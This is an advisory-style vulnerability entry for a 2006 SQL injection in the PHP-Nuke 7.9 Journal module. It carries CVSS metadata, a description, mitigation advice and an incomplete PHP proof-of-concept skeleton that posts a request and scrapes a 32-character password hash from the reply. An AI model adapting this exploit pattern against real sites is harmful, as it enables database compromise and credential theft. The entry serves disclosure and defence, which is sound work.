PHP-Nuke Journal Module SQL Injection Vulnerability

vendor:

Journal Module

by:

Neo Security Team

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Journal Module

Affected Version From: 7.9

Affected Version To: 7.9

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

PHP-Nuke Journal Module SQL Injection Vulnerability

The PHP-Nuke Journal module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/20829/info

The PHP-Nuke Journal module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

PHP-Nuke 7.9 and prior versions are vulnerable.

<?
/*

Neo Security Team - Pseudo-Code Proof of Concept Exploit
http://www.neosecurityteam.net
Paisterist

*/
set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data=""; /* Here the variables, like "bywhat" and "forwhat", with the 
SQL Injection */

if ($fp) {
    /* we put the POST request on $p variable, sending the data saved on 
$data. */

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);

    if ($matches[0])
    print "<b>Hash: </b>".$matches[0];
}
?>